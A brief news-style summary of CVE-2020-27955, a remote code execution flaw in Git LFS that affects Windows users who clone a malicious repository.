A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for
versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked
into cloning the attacker’s malicious repository using a vulnerable Git version control tool
